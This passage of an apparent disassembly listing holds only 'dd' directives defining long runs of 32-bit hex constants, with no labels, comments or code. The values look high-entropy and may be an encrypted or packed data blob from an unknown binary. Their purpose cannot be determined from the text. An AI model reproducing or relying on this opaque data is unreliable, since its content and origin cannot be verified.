		dd 4E403B12h, 0F27A4968h, 975E499Fh, 0D6CB07F9h, 1EF74A5Fh
		dd 22CD093Eh, 814E6240h, 1C6CF605h, 0D0080E07h,	0F8280EE8h
		dd 30E2A1E9h, 32C500F7h, 0B46FAB41h, 71171BA5h,	0F4ECC9E9h
		dd 0F1EC2215h, 0C230D477h, 303AF4A4h, 29031A6Eh, 805F8CBh
		dd 529CF059h, 0B1A20662h, 0FB8AC18Ch, 4C4ADD88h, 137D2C3Dh
		dd 0B3BBD81h, 67E97E3Ah, 0F02BA135h, 0EC645C6Fh, 0D9AAEA89h
		dd 6223429Eh, 0CC51975h, 89E5F36Fh, 0A976631Ch,	0B2644D8Bh
		dd 40B5B8CEh, 0F3FA5456h, 544B0995h, 1C7252C2h,	0F971A427h
		dd 5647000Fh, 0F6DE64BEh, 5ED860E1h, 509A0509h,	0E1E782C0h
		dd 6388D4CCh, 7B1C554Eh, 0E8D258C5h, 0E8B54CECh, 4904DF9Fh
		dd 0B860F47h, 0B9B4837Bh, 446AD957h, 0B3842B8Eh, 3CAD811h
		dd 567B3E45h, 5D18F707h, 0ED560954h, 7359CF01h,	11811BC6h
		dd 2907FFEFh, 60B66144h, 7D82C7DDh, 2CD47DA9h, 570903E7h
		dd 0B65BBECCh, 7CF36512h, 0E4AE9C2h, 630014C6h,	0F10D42B1h
		dd 534C133h, 9D569E2Dh,	7613AA38h, 0F95834EBh, 89A19756h
		dd 811A42Bh, 79BC64Ch, 492C96EEh, 0C5B098D4h, 0F9A14CB2h
		dd 0CFFE3A0Eh, 0E908C74Ch, 92053E2Ah, 7469A5ECh, 0D12904EBh
		dd 53B5BD00h, 95B0553Eh
		dd 0C37BA40Bh, 0EAB0073Dh, 750BF52Bh, 56EBD645h, 12B96043h
		dd 684EFD28h, 21253AF7h, 25E969A2h, 0AD66F1A2h,	72F0DBC1h
		dd 16DF0729h, 8DB929D8h, 1DD0AB31h, 2C794051h, 12C03A2Eh
		dd 10B8C309h, 806E266Eh, 2917B468h, 0DF901670h,	9C0EA401h
		dd 0E0100B37h, 0EA5BF376h, 712B5550h, 0A9274A02h, 5BE59890h
		dd 1C437582h, 0E6DD8891h, 0CD040577h, 20EDCC81h, 0FD35F5D8h
		dd 3258052Bh, 9924FAADh, 67861C80h, 0C7B600Ch, 8AD334F0h
		dd 7C0048BFh, 1CD19FF6h, 8A40DE45h, 2F5A90BFh, 0F784F41Bh
		dd 0A693313Bh, 8411AFF1h, 0D6EAEFF2h, 0E87A0CDFh, 2B812551h
		dd 8167484h, 1698D7A8h,	8B7C14D5h, 56AF32C1h, 0A6203B1Ch
		dd 218012CEh, 0E396447Dh, 4A5A01F8h, 0C07FE2C1h, 61836469h
		dd 97E10A4Ah, 62438D3Fh, 0BE0F1316h, 0FBB604EFh, 57783163h
		dd 0DD565801h, 1FD838B1h, 0DC9344B5h, 264DA34Eh, 0CEE5C1h
		dd 0D2BDFAEDh, 83905F0h, 87FCE27h, 5D1307D6h, 0B34BE2FCh
		dd 7598175Dh, 0B6402CA2h, 0A69B4AC6h, 230616FAh, 91D3FAACh
		dd 456A36Dh, 2D4080EAh,	5D4E7A69h, 1679C6ACh, 0E351D3Dh
		dd 0AAE74B3Dh, 38CE606Ch, 342ECB45h, 4D3C3D46h,	0E4805E05h
		dd 0A81D9E68h, 9DC575EEh, 0B8AEA867h, 4C0DC28Ah, 0C4BABE92h
		dd 1003FD99h, 2C00FCDEh, 45B652B9h, 0C00FCEFEh,	0F8F608EEh
		dd 280070Ah, 0F028D3C6h, 155C6FE9h, 46E58809h, 0FED5E05Bh
		dd 0FDA9F29h, 77531ACBh, 73EDB230h, 0BB743A00h,	5ED80DF4h
		dd 0FE42BD31h, 0AFE297D7h, 1AC833D4h, 4139E2EAh, 4A4A8C90h
		dd 544241BBh, 40381225h, 0FB7E5CBFh, 0C14E391Ah, 4A6BC0EEh
		dd 69E92473h, 781603FAh, 0C3B4D3Ch, 8B0C1FE4h, 0C454A296h
		dd 0A0710126h, 0EE01EC66h, 86452D2Dh, 0E4E49C7Bh, 0F6374960h
		dd 7B54B9EEh, 12374ADEh, 8A8E1718h, 68550047h, 209005ACh
		dd 9B5127E9h, 8E9283DBh, 652BFDB1h, 100DBD1Eh, 824E8B7Eh
		dd 6CD8F00Bh, 0A63D6D9Dh, 0DFEC8BC0h, 32C117EAh, 4DBB044Dh
		dd 7ACB7FF7h, 13282CE4h, 530E2620h, 0F572B8D1h,	19FF0023h
		dd 6C6F2903h, 6E147ACFh, 78AF4AF7h, 7BC04250h, 0BE236DBBh
		dd 44659818h, 6877E352h, 0F289604Ah, 54FA0C3Fh,	6F17EBF7h
		dd 0CE0B4B59h, 15F200C3h, 4FD6E91Fh, 0C243BDE3h, 6C3E3568h
		dd 0AD262701h, 68704956h, 117A6D1Bh, 168B66BEh,	0D8F84481h
		dd 0DB43EAD7h, 2CC17E9h, 4805C251h, 287D2579h, 880008D0h
		dd 15E95A02h, 0EC16A0E6h, 0BE3C12C7h, 5901E429h, 0DABD38D7h
		dd 32F75686h, 5537F0A0h, 9F015880h, 0DE2DA653h,	782C59F9h
		dd 0B6B04B3Ah, 5DE82E21h, 0B97A1646h, 72015098h, 0E4C3FE80h
		dd 0F3801FCBh, 89AF0C78h, 0C1BF5F6Bh, 0B981B613h, 75D0BCF7h
		dd 0B6C37F19h, 0F814FA53h, 79BF0452h, 83695E4Ah, 0D497DCAh
		dd 1A292C4Fh, 17F4EA08h, 28660388h, 64C58C3h, 0BD5E205Ch
		dd 0C813D673h, 76509AC2h, 0B0C36427h, 0E1B553F9h, 845EB0Eh
		dd 9ED6C82h, 0A817B704h, 15B11CCCh, 0D372CB18h,	50EB7880h
		dd 40D1C866h, 0F49505B2h, 0A2EE319Eh, 8259038Bh, 46FA8FD0h
		dd 4B1447F9h, 0DF65235Bh, 7AC21545h, 244BA3CAh,	0DE71D18Fh
		dd 7EF73E78h, 4E5E727Fh, 45C51731h, 0F54CBBF2h,	33EE0B18h
		dd 766A225Fh, 687126A5h, 2E6898Eh, 349F87Ch, 0B71E3B81h
		dd 79B5C591h, 90F331D8h, 8B4F600Eh, 722261C3h, 30254D7Bh
		dd 0A56ED168h, 85FB108h, 4300EC2Dh, 3BB7BA52h, 656848AEh
		dd 0D901D400h, 0D1D2F706h, 48D2E24Ch, 5FEA00C2h, 0E987FECAh
		dd 0E179A1Bh, 8005EFC0h, 0FA202C63h, 2365ADE9h,	6853C2C8h
		dd 6725764Ch, 7EA59051h, 4CA05CB6h, 5F80C21Bh, 9D9904Bh
		dd 0ED41C08h, 28EF504h,	0CC13B768h, 283F099Dh, 0E15805EBh
		dd 0E8098173h, 806A5D1Ch, 22132D84h, 140CC770h,	89B482F6h
		dd 5C13E956h, 6839DE53h, 5C417325h, 3102E773h, 5EBD48D7h
		dd 0D7545051h, 7E81418Eh, 7A089DF0h, 0C0D0F0CAh, 452DEB57h
		dd 0CEA03C9Ah, 49F24365h, 0D3DD012Fh, 536008AEh, 0BF12809h
		dd 60045766h, 4DD49257h, 23DC4F7h, 6A012907h, 2861EA21h
		dd 74060558h, 0E77A86Dh, 0DB0D3842h, 81FFF729h,	76940274h
		dd 1CC5C1F4h, 42896BFDh, 0C3E9304Ah, 0D1165E78h, 0AF4446E6h
		dd 0EE00922Ch, 9E22A15h, 9441E1B8h, 25EBE940h, 81121D70h
		dd 0E2A41F3h, 21D3F745h, 4F2433ECh, 0E3819D60h,	0C2151AB7h
		dd 0E8C0384Eh, 0E91A58F7h, 0F133B2F5h, 4BA63DF4h, 1555A521h
		dd 89682C4Eh, 5D2CBBh, 6729B82Dh, 0F0214B17h, 0A9393534h
		dd 0E15E250Fh, 0A26EF6FCh, 986882E4h, 3A54680Bh, 8215C509h
		dd 27E1E361h, 20789CFh,	4569E348h, 0E6E8A075h, 9280BADDh
		dd 785C139Dh, 0C6D5F452h, 6C3D2109h, 972C78FDh,	0E9622856h
		dd 0C48B5D49h, 0D7C25B54h, 581009E5h, 0D8A0D6F7h, 0D80782F6h
		dd 0E956AEA0h, 0D37A27FDh, 91D16D5Bh, 0D7F70149h, 45ECBD60h
		dd 4BFFFA60h, 761DDAD6h, 41322EEBh, 0F5F5C680h,	75DE28BCh
		dd 3B454E32h, 0BA4A55C7h, 79F28282h, 0C4D4B302h, 882B0C3Ch
		dd 0D0465BDEh, 0E6C0CCF7h, 39680712h, 0C7E93942h, 0C7A65792h
		dd 5004597h, 57BC3DBFh,	254C9C35h, 35D0609Fh, 0B4C24971h
		dd 41EF36DCh, 0E6DDC8A3h, 35BA45A6h, 0EA721370h, 40D6FB5Fh
		dd 7F57A182h, 60B60DCCh, 5B1EC300h, 0BC290C4Bh,	480820CEh
		dd 0BD84445Fh, 0B2109B8h, 4254F625h, 0C7DF529Ah, 802393FFh
		dd 0B45052CDh, 0AAB26431h, 726A70DDh, 47DD51C1h, 40F8201Ah
		dd 38985956h, 7DC82D1Eh, 39BE4B96h, 18C17EFAh, 5447Eh
		dd 0AB83D632h, 120BB8FBh, 0C498043h, 326833EDh,	98AD6716h
		dd 5FFB566Bh, 5A693F7Ah, 2558870Bh, 27EB7AF0h, 952D0740h
		dd 502FE435h, 0BC92CDD8h, 8295879Ah, 5E793DC1h,	0FDF6E5CDh
		dd 47EF029Ch, 0F5AC3374h, 738C8468h, 3CBA1CC0h,	58274Eh
		dd 8103EAC1h, 5041D7F2h, 491C58h, 378A7EA0h, 0B1A6B8E9h
		dd 0C74AA7D2h, 742FDh, 5C771DF1h, 95DA9848h, 0ED4A26F2h
		dd 0AAD314F2h, 9180DD24h, 1C3657h, 33E1816Bh, 0F76F4132h
		dd 0A1A8D95Fh, 5005ED82h, 0BA5B7740h, 0C5EF71B1h, 8CBFE89Fh
		dd 9DD35A2Ah, 1AA8EB09h, 78945FCDh, 0CAB4594Ah,	683C1C77h
		dd 8BC6A756h, 905DBD0Bh, 598A0030h, 9418751Bh, 8A08125Bh
		dd 0BEE44FF1h, 1B1E12FEh, 8478906Ah, 0D0865B03h, 289A0C28h
		dd 21401C1Bh, 0D9D25F39h, 0B980A2A8h, 447D0255h, 9B4089B8h
		dd 2A7577B1h, 9879ACD0h, 44B24F67h, 174586BAh, 12D765BBh
		dd 0C3C4AAEFh, 5C3BBA03h, 245A101Ch, 0DE011D80h, 4E32DDFDh
		dd 0F2B7CDA8h, 34826D7Bh, 7552928Dh, 0A009660Bh, 0D2658928h
		dd 7D029D84h, 5707ED6Fh, 7D60C862h, 9E4AF4CEh, 0C56602E0h
		dd 0FCDE68CDh, 3EE9F190h, 0EE4A6B7Ch, 9D84542Ch, 0C5CF0BD9h
		dd 3D4B7232h, 90212859h, 33793B04h, 0C399D2h, 0D3739EB8h
		dd 5352228h, 4FC2892Eh,	0D187CA04h, 4B618890h, 0E96B19C4h
		dd 2E5B6931h, 80A0B2FCh, 6CE1CEAh, 0FDD3095Bh, 0AA574985h
		dd 0C28FE492h, 4B45FC51h, 0DA0EF679h, 10F8B418h, 0EC5EA1A4h
		dd 703800D2h, 0F8052234h, 421E0964h, 0C5423CE9h, 0D019485Fh
		dd 28B150h, 602880B3h, 6D48F068h, 6C5ECB7Dh, 3F59BF31h
		dd 0BC5597h, 1A781009h,	0A7C1FB02h, 0C3522A7Ch,	0F617027Eh
		dd 2FA25E4Ch, 0EE2949F5h, 0A0181ED7h, 466F8A1Ch, 2DA82EC5h
		dd 5D89D8C5h, 895A3157h
		dd 566C056Fh, 0EE28EA84h, 68D8A897h, 8A3D1317h,	0CE060405h
		dd 3BB16D8h, 4AA6AA97h,	4A692983h, 97D16699h, 0E10196E4h
		dd 8106BF41h, 8DD007F1h, 0BE14B72Eh, 0DB204EB0h, 315D09CCh
		dd 46005EF2h, 25AE6A41h, 20217495h, 9D9B8108h, 481EF832h
		dd 52F7F50h, 0AA2F346Ch, 57549A81h, 45A4BDA4h, 13AFD0F5h
		dd 7B12EF86h, 0B04ABEE7h, 112C7F5Fh, 0B92A9126h, 6274966Eh
		dd 0A20F3568h, 4E0069Ah, 10E9885Eh, 0C1677460h,	0C17C0A6Bh
		dd 6859CAC6h, 13BA6987h, 0D0B86CACh, 0C49B0B9Eh, 0EAEE1625h
		dd 88AC1BC5h, 0E9E888C0h, 7DA0D084h, 0F41F832Dh, 6309B499h
		dd 5F9E6BA9h, 3077C738h, 0F716286Dh, 0DD05D561h, 9D75F1E9h
		dd 0E092A12Bh, 10C9839Ch, 0B05DE6ACh, 0B3440105h, 58E330B2h
		dd 0CCA8CD80h, 0E918BFCBh, 0F1E39EE1h, 5D49000Bh, 1BA5232h
		dd 8B85831h, 808072E4h,	6D364F1h, 5F16EE69h, 0EBB19AE8h
		dd 318105BCh, 0B1CCE828h, 0C9801893h, 0E94A06DDh, 0D999672Dh
		dd 7F7D8859h, 27C9702Fh, 3F7997B3h, 2662CC6Bh, 4F6E59CEh
		dd 0BD01D988h, 380F4A49h, 9E601AE8h, 9B5A472h, 0EAE65B73h
		dd 956C16B7h, 0D69BEDE4h, 0E88CFBA7h, 2B7A10BDh, 8088875Fh
		dd 366804C1h, 12E8A37Bh, 0C7B3DF69h, 0E8837517h, 4EF6B631h
		dd 5851AC48h, 0E904620Ch, 76B3F0A0h, 0DCEA3452h, 0ACAB85DBh
		dd 9FF9110h, 0FF66E4B3h, 0E09F9525h, 84270FEBh,	736B22D5h
		dd 4AE91842h, 0E92BB5h,	2532685Bh, 0BC735AF4h, 0A3E9B07Ch
		dd 0F659FE1h, 24BEEA13h, 2C32FF05h, 0EC0E7A18h,	4E54849h
		dd 0AADAB0C5h, 65586C29h, 1CD34AB3h, 5AF009EEh,	73B592F8h
		dd 0A75E26F9h, 0DD177B5Bh, 0E9540D90h, 0E3944ED6h, 48D2279Ah
		dd 803F1B98h, 0FFB8C229h, 254B720Ch, 3F34E40h, 0C15FC378h
		dd 61FF07E3h, 3E938B77h, 99DF260Ah, 0AC0881A4h,	0E7810060h
		dd 39027558h, 8BB4475Fh, 4E250ECFh, 4EDE728Ah, 76C44F33h
		dd 5F88AF29h, 907C975Ch, 588F765Ah, 5F09E1B8h, 24054E23h
		dd 0B2AF2BADh, 0F8AF6BE2h, 0A5B7085Ch, 0AE390133h, 0E8183FDAh
		dd 170DC3ABh, 0E573F16Ah, 57080503h, 5768EB50h,	23099F63h
		dd 16B281F1h, 0C98251ABh, 77A48FEh, 2D18BC9Dh, 1709987Ch
		dd 16027177h, 4E1EAD68h, 0C03EACD9h, 0E2346B31h, 0ED68460Bh
		dd 20C5665Ah, 0E9194E2Fh, 3050D3DAh, 94608407h,	6DD1AE45h
		dd 222C935Fh, 57E657DEh, 0B11AFCA8h, 1D87DBBFh,	6207ECEh
		dd 8F160C0Ch, 0D514670Dh, 0F1E2108Eh, 7FF5A55Eh, 66DD9DA2h
		dd 0C97FE927h, 89600252h, 0BDA05DC0h, 0D71A400Bh, 4DA10357h
		dd 5260B070h, 55E0368h,	4A5A2A1Ch, 93CFAC3Ch, 10FE9829h
		dd 0B95EC21Eh, 0D70C6BE3h, 0FD01EF22h, 2F8F7861h, 2A68036Ch
		dd 25A15FA4h, 36D9DCDFh, 4D45188h, 0E85BD929h, 4F6A3E42h
		dd 4A5B49A6h, 0ADE88824h, 0BE56C860h, 0DE7AFE16h, 637600BAh
		dd 0C13C7D2Dh, 234E65Ch, 0F0573EEh, 3F277C39h, 12EC9EA6h
		dd 82D6E274h, 0D176F868h, 2CA9DCCh, 27E9156Ch, 5E2DEED4h
		dd 181F8239h, 5162C69Eh, 0E96D687Dh, 0E929686h,	0C001B652h
		dd 0CD8004E6h, 0EBC6CC40h, 8CA5A4BFh, 48DDF9h, 82A580Eh
		dd 79A3CBCFh, 18005EA5h, 0BBB1E67h, 9B418468h, 0B1A21AACh
		dd 0EB80F121h, 7DC3CCE1h, 6BE70CDCh, 22FFC45Ah,	82E05E10h
		dd 599D4B9Dh, 937CCB16h, 7BDA5D5Ah, 6F189909h, 0FA04557Fh
		dd 0E3B8C8E8h, 0BBBF0A97h, 9BC85A09h, 5E197BC3h, 26D5A983h
		dd 0F72520C6h, 1E0B98Bh, 0E083AA85h, 1E327B2h, 0B7CA8146h
		dd 0D8215F78h, 1A17FDF2h, 4E217150h, 5102CFF1h,	0D6DD07F0h
		dd 247FFB90h, 940E3C5Eh, 0D2A2725Bh, 716123DDh,	0DEAF3B5Bh
		dd 0AED88DA5h, 0E1D2D1B7h, 255D91E9h, 20FA0752h, 45FC4354h
		dd 0E3B6585Eh, 72E6B3Bh, 70CF08CDh, 0D82C73AAh,	5C44B6F0h
		dd 0C61CE7EDh, 4249454Fh, 93F4C54Eh, 302001F7h,	0ADBD0392h
		dd 3120853Ch, 2CD45DEAh, 6704D345h, 0BEE43BE2h,	0D052982Ch
		dd 0AD5BB911h, 42FA7BF8h, 0F7C777CBh, 0CF014022h, 598896E1h
		dd 6332E4DEh, 4C9712D3h, 760945F0h, 2F47F825h, 689216Eh
		dd 58035C58h, 8151232Dh, 37185830h, 6E166C00h, 31A36801h
		dd 0B600AB93h, 2179094Bh, 0EE5E4BF1h, 0F661DF00h, 4FE9EE8Eh
		dd 68C3020Fh, 0C593965h, 0AD28A1A6h, 4320C800h,	7DD7E381h
		dd 0E962120Bh, 0E8265350h, 3EFE2066h, 71DDD35h,	3214254h
		dd 18E14386h, 76BA0072h, 29C02727h, 89DD13A9h, 9D1BC4F9h
		dd 292009F2h, 94F99D54h, 0BCD722Dh, 69104385h, 39E2CC0Ah
		dd 4CFAB7BDh, 324D8CEBh, 0B976E987h, 0F1A098FEh, 0A1F4A320h
		dd 0DFC28DD6h, 98DD1F32h, 9E8EE94Dh, 68580F46h,	6F8B6ECAh
		dd 25309C1Ch, 0BFEB6D5h, 0C458E95Bh, 31901EFAh,	5D171107h
		dd 0A9E6577Bh, 5E2D5E8Dh, 70998D80h, 0F4646B31h, 4E1D0980h
		dd 860D4C7Eh, 8A255106h, 3D0AFE17h, 8E39A96Bh, 27690C0Fh
		dd 1C1C477Bh, 23AF01Bh,	7A76055Dh, 13FE3734h, 97820720h
		dd 64522154h, 84C75AA3h, 0BE1BD541h, 4F987A38h,	95AC37E5h
		dd 0A9D97A8h, 7605501h,	3005E864h, 8A08BCEEh, 1DF0E931h
		dd 7D10E462h, 18F70747h, 0C1A4908h, 8D0877B8h, 62456440h
		dd 182220E7h, 10EA6303h, 1056F810h, 0A518C0DDh,	0CC8408C1h
		dd 80556280h, 28C62389h, 31080C5Ch, 5B18DE5Eh, 0F00888B5h
		dd 0ED1D08B9h, 2895A20Ch, 1EF1407Dh, 1F6803B5h,	0AD081038h
		dd 321A1083h, 28C69C18h, 8C66113h, 2018503Bh, 76206019h
		dd 7B6D20A5h, 875C633h,	3118BE82h, 5608BE17h, 0F0EA01DBh
		dd 185AC990h, 2A3037A8h, 28BB80BFh, 8FD910C6h, 3B432008h
		dd 0B1311362h, 9398023Dh, 8346FB04h, 32010D5h, 6E9B3178h
		dd 1109508h, 2190C7B4h,	0E6D21B2Bh, 699D210h, 4D20B1A4h
		dd 3C1E31F8h, 9F4EAC18h, 20603108h, 2D375F30h, 9CE628E3h
		dd 0B4A95408h, 0FC9855BDh, 52C403E6h, 21400831h, 8888497h
		dd 0F085861h, 8A120CDFh, 71408538h, 0E6F9C488h,	45C0472h
		dd 47D1D70Ch, 40B89740h, 88A9111Ch, 92FC52BFh, 9AB6E0A2h
		dd 34FEE02h, 819EF74h, 6B202401h, 65C4988h, 87A990Dh, 0E7014ADDh
		dd 5A208C7Bh, 0C4F908B4h, 425FD29h, 81063654h, 9320082Ch
		dd 1ADB2043h, 318DF135h, 22859449h, 33FF690h, 8185EA2h
		dd 0E318D74Ch, 0E1AE8048h, 277C10C4h, 9C230E09h, 181AD6AAh
		dd 0A2E9BFC0h, 5316984h, 0F9BC267Bh, 20B1C820h,	154957D0h
		dd 19BE31DCh, 3894224Bh, 317CE634h, 5B087F8Eh, 87208880h
		dd 5D4F0A84h, 189E90A0h, 0AD08962Ch, 0D25280D3h, 80B39780h
		dd 0A380EC82h, 5734805Ch, 67E348C4h, 0E435DB0Fh, 51FDB220h
		dd 25B5EC8h, 0B384A340h, 8F08108Eh, 0D01D1846h,	803BD120h
		dd 10C67094h, 5408FE41h, 9A96D006h, 7C1C493Ch, 12650D10h
		dd 0A059411Fh, 80246AB9h, 8036201h, 27062D23h, 2E423141h
		dd 2408C910h, 0B380B76Ch, 541D80ADh, 80EAB480h,	880FDBBh
		dd 0D1E380B9h, 0A03308C4h, 0FC9C6003h, 7EA4C9ECh, 4968BD06h
		dd 0C78B3C1Eh, 46802672h, 2C478037h, 13EB0275h,	0B90E8963h
		dd 0C03D7AA7h, 408F44B8h, 0C90B0B49h, 0E8BF775h, 0DE093D1Ah
		dd 1808603h, 0C0333C31h, 4FB10F06h, 0AC092C30h,	0FE913AE9h
		dd 984989B1h, 0FC1C9C55h, 10B369ABh, 3AF78280h,	834E539Ch
		dd 7F9F4082h, 68E7E6A0h, 18B721A7h, 0D72EA637h,	2668AB84h
		dd 5DD3EAh
		dd 97368BF9h, 0F304817Bh, 573D0422h, 0E1391E81h, 0FEBE2480h
		dd 89021433h, 189FF248h, 0BAC38D7Bh, 0D14B00FFh, 49BD5529h
		dd 0A4EA776h, 1D77B2F2h, 0BC6CB039h, 2F135A86h,	881F1812h
		dd 7EEFD12Eh, 0C7010C27h, 142D8E8Ah, 5E2FE96h, 81A763CBh
		dd 97E3766Ah, 1FBB5E6Eh, 0CBCEF900h, 43E90AE8h,	5003768Ah
		dd 0D963EC58h, 874003B3h, 0AC37F668h, 0D00C2D94h, 69D86868h
		dd 2D62BE01h, 0E71F5CA1h, 7EEAF12Fh, 28370AE4h,	0F6939F0Dh
		dd 9B2017AEh, 0DF21F20Bh, 0C9E907E1h, 6ED709ACh, 0CF681212h
		dd 0B96D8C5Bh, 50BC3D1Fh, 592F255Eh, 1A0182ABh,	425F51A5h
		dd 90B7C2Eh, 8170DEF7h,	0FE5EE6E8h, 314A1000h, 0D0296630h
		dd 0E95F08B3h, 0E3D7DC3Fh, 2D58CFA4h, 6EB30142h, 0A13E3DD9h
		dd 53046D16h, 20FAC389h, 303768BCh, 0C5B131C5h,	16A616B4h
		dd 0EF0DB544h, 0C9810100h, 60A92DCBh, 0B580C26h, 1ECA4CB9h
		dd 0F101F504h, 0EBB7FDABh, 5577802Ah, 46631CE9h, 91CF8880h
		dd 0E6D55BFCh, 0C70CB27Fh, 0F0E75051h, 20E9C120h, 0B7D9B5DBh
		dd 0DE279C9Ch, 0DEF67A6Fh, 0C4B75300h, 13F6C780h, 0F8FD8851h
		dd 7DE90560h, 261E0150h, 0F6412538h, 0D25B6240h, 307C94FDh
		dd 50A266Dh, 0CD025E2Bh, 1DF2D6Ah, 0D36B61EBh, 0A2AEB4F3h
		dd 4659C975h, 175E4EDCh, 97F2F684h, 2A5C2DAAh, 847A2A09h
		dd 0A3800BE9h, 0F39323F3h, 37830C80h, 0D9019155h, 95D85B5Bh
		dd 0D5E91AF9h, 427F9E20h, 4082024Ah, 0F358072Ah, 0F17CEDA2h
		dd 1E4AFB0Fh, 64A3645Dh, 5B3ABD00h, 0E09F044Bh,	2CA2C5D9h
		dd 9D611ACh, 7B2284B8h,	14DD0835h, 0DEA95CEh, 1994CD5Ah
		dd 38EE7769h, 68A5E912h, 3A5629BBh, 0B5436BC8h,	93BD95FBh
		dd 70FE6228h, 0EAE58121h, 16A0541Bh, 7FEFA0B2h,	85F897FDh
		dd 7955D497h, 7D0CCB54h, 58BFD8E9h, 2019BBAh, 61DA5AC6h
		dd 8302D057h, 50B4DD08h, 0D0899F34h, 212382DFh,	497DD1C8h
		dd 0E9671077h, 12B24E7h, 9254473Fh, 0ABA08264h,	36930ADCh
		dd 286B73BFh, 289E1A8h,	0EE87D3F7h, 900CD29Dh, 55BE240h
		dd 75606602h, 40E8013Ch, 16A491Ch, 0E3815682h, 3C1051B1h
		dd 0DAD92A39h, 0F6328797h, 400726C1h, 80B11E95h, 8BD62904h
		dd 8E7AE14h, 2DFF895Ah,	0FC6EF133h, 0B8202902h,	4F0B5243h
		dd 0B0F1F851h, 253B358Ah, 0F2DA5A28h, 0F3544B0Bh, 3242606Dh
		dd 2DBB7FD9h, 1CF1D189h, 0F7317909h, 0C810D5BBh, 7B503714h
		dd 0E5425486h, 2BD10DEDh, 7BDD4579h, 14A85A16h,	49E5C5h
		dd 81EDD1B4h, 5C0246F5h, 895775E6h, 0D96177EFh,	8A62885Dh
		dd 0E2880EA6h, 585AD342h, 9F8BFD7Ch, 48105F69h,	0DD7BC380h
		dd 0F26CEB2Dh, 4ACD320Eh, 0D3755568h, 4E0824F1h, 63B0DC4h
		dd 4AF3F121h, 59CAD85Eh, 0C2DB7760h, 7B09676Fh,	0BD7E2C0Bh
		dd 3D48A8F4h, 88186469h, 5FFD650Dh, 6B3DD3BFh, 7F36D1C9h
		dd 51EB9831h, 0DCC33001h, 0EC448B6h, 3EC40958h,	61838806h
		dd 40009D63h, 28E6793h,	6861E69Ch, 0D9636AC9h, 3225A45Ah
		dd 81D3B340h, 0FB50E49Ch, 1193EBBEh, 0DEF65B15h, 732509CFh
		dd 87002BA2h, 2D0E9C84h, 8015DAFh, 68F82973h, 0C06602CAh
		dd 32E90F40h, 5C1A3D99h, 0E553D975h, 181BC6E9h,	29BF5A4Eh
		dd 0BF8F0445h, 0BAF561B2h, 4C7228CAh, 2D3B2829h, 0EBC443C8h
		dd 0E05C0B37h, 0BF21E35Dh, 27AA118h, 2065E6BFh,	6814181Eh
		dd 0D7DC1B2Fh, 87E2F0A9h, 81C2F60Bh, 76361568h,	7C0F6028h
		dd 7010620h, 0AE0A88F5h, 72BCB227h, 0F752D00h, 5260015Bh
		dd 0B1F6ABAh, 39CD6C68h, 0A2DA829h, 0B9004B98h,	8154A961h
		dd 326ECCF7h, 916234F2h, 762DB8C5h, 0F3755A25h,	0AC8F131Bh
		dd 99D94B32h, 1E6E02Eh,	12FEB4D7h, 14CCF949h, 0C0893F23h
		dd 0CA2CE4BBh, 5AB0FA6Bh, 18FAF636h, 80423FF5h,	4FD670EDh
		dd 1662A7EEh, 79310D4Fh, 0E72067B1h, 21464095h,	20EEC14Eh
		dd 3E73689Ah, 0D920D692h, 62D8BF59h, 0DF10AC80h, 89D22D12h
		dd 2637AF87h, 157C740h,	1EAB98FAh, 0E8CF566Eh, 47909FA3h
		dd 662FE9FBh, 0E543AE13h, 33FB9E94h, 0A8D15710h, 5F148BD1h
		dd 526F8F56h, 7F13F190h, 94AED092h, 40B2247Eh, 0B8226C2Fh
		dd 33547814h, 277C52E6h, 2131F153h, 0A501672h, 0C4CAEE5Eh
		dd 4C65885Ah, 9AA73941h, 0E91AD79Ch, 7E24299Ch,	64F7DA90h
		dd 2D582974h, 3E0BA9E8h, 57705438h, 0F34B215Fh,	7808196Eh
		dd 0D0885B1Ah, 2D010CDDh, 3B92BD05h, 3025CEE9h,	4CC88F3Bh
		dd 650725DFh, 0EE68049Eh, 0C4C9B808h, 0CAB4BE8Ch, 3B7F057Eh
		dd 0FEDF6849h, 1AC888D9h, 54E9FE86h, 0F35E343h,	33887C16h
		dd 1207FD45h, 5904BE8Eh, 9ABE590Ah, 9B031C13h, 0F21C7D27h
		dd 6A52E97Bh, 164E0458h, 8EA119AEh, 6FC4F875h, 562B0115h
		dd 950697BEh, 7C866E55h, 0DB1C9588h, 45AF85D0h,	6658CDC3h
		dd 10104C6Dh, 402E6FCAh, 0D061784h, 405432E2h, 0F3875F69h
		dd 8D6F730h, 0BB85043h,	4DEB6B27h, 72B485FDh, 0AF01A752h
		dd 1CBF43CCh, 63B3E9DBh, 6801EA60h, 34081CD3h, 4414171Ch
		dd 90023C26h, 2091F1F0h, 0CFCF58h, 0F98899C7h, 0BEB4B7E9h
		dd 7F4EBF9h, 5FF80642h,	5E382898h, 0A2019BB7h, 0B9B257E1h
		dd 0FE54EA57h, 7B0C942h, 9A04B652h, 6346866h, 0C463CBF9h
		dd 0EFE4DD88h, 8E02436Ch, 5AF52803h, 93C0EDD0h,	4062006h
		dd 0CD80030Eh, 7B817F38h, 0EB885352h, 0A17D122Fh, 681C2445h
		dd 0B5BCC34Ah, 0E165F8D6h, 27854DE9h, 802B07BBh, 59B568C5h
		dd 0FDAE2F91h, 76885B14h, 0DAF6D409h, 3AF77C29h, 0DFF22FC5h
		dd 0AC66EB00h, 13EE8146h, 4F3D2A1Dh, 1115CE81h,	0E02F2373h
		dd 0E9724E41h, 3FEA569Ah, 5A8EF75Bh, 0F920EB58h, 7709F1FCh
		dd 803F1DE6h, 0CA4F1BB0h, 0E298B873h, 65363259h, 615DFD0Ch
		dd 41FF0164h, 0CA00828h, 0B8E92414h, 3870A5C6h,	36B5D1Dh
		dd 0EC09F381h, 92E5A71h, 8723515Bh, 0B06D5F7h, 5C46859h
		dd 88FF2FB9h, 7F3DE6FBh, 0EA5B2160h, 7BD637DCh,	8F512DC0h
		dd 0CF0C9C46h, 0B248D210h, 254617B6h, 5E8B552h,	30529908h
		dd 4295AC8Ah, 0DDE5D7D8h, 52EB54C9h, 9DAB4857h,	220B1E5h
		dd 4A90312Eh, 0C2C443C2h, 3FF6CAD0h, 6F4E8009h,	32DEEFB9h
		dd 1783920Dh, 3420B5E9h, 879BC7C4h, 0CA170EFEh,	0BF2F7EE4h
		dd 0CB7CF94Dh, 74606132h, 6880E32Ah, 9567709Ch,	95B27FCh
		dd 157787B8h, 6E22702h,	77527AD6h, 360E42B0h, 4A28490Bh
		dd 41A1FC42h, 0E7400138h, 43AE0E24h, 6B89F009h,	8ED61496h
		dd 6604541Ah, 0AC26B130h, 54F2C0Ah, 0F7204202h,	4C1D405Ch
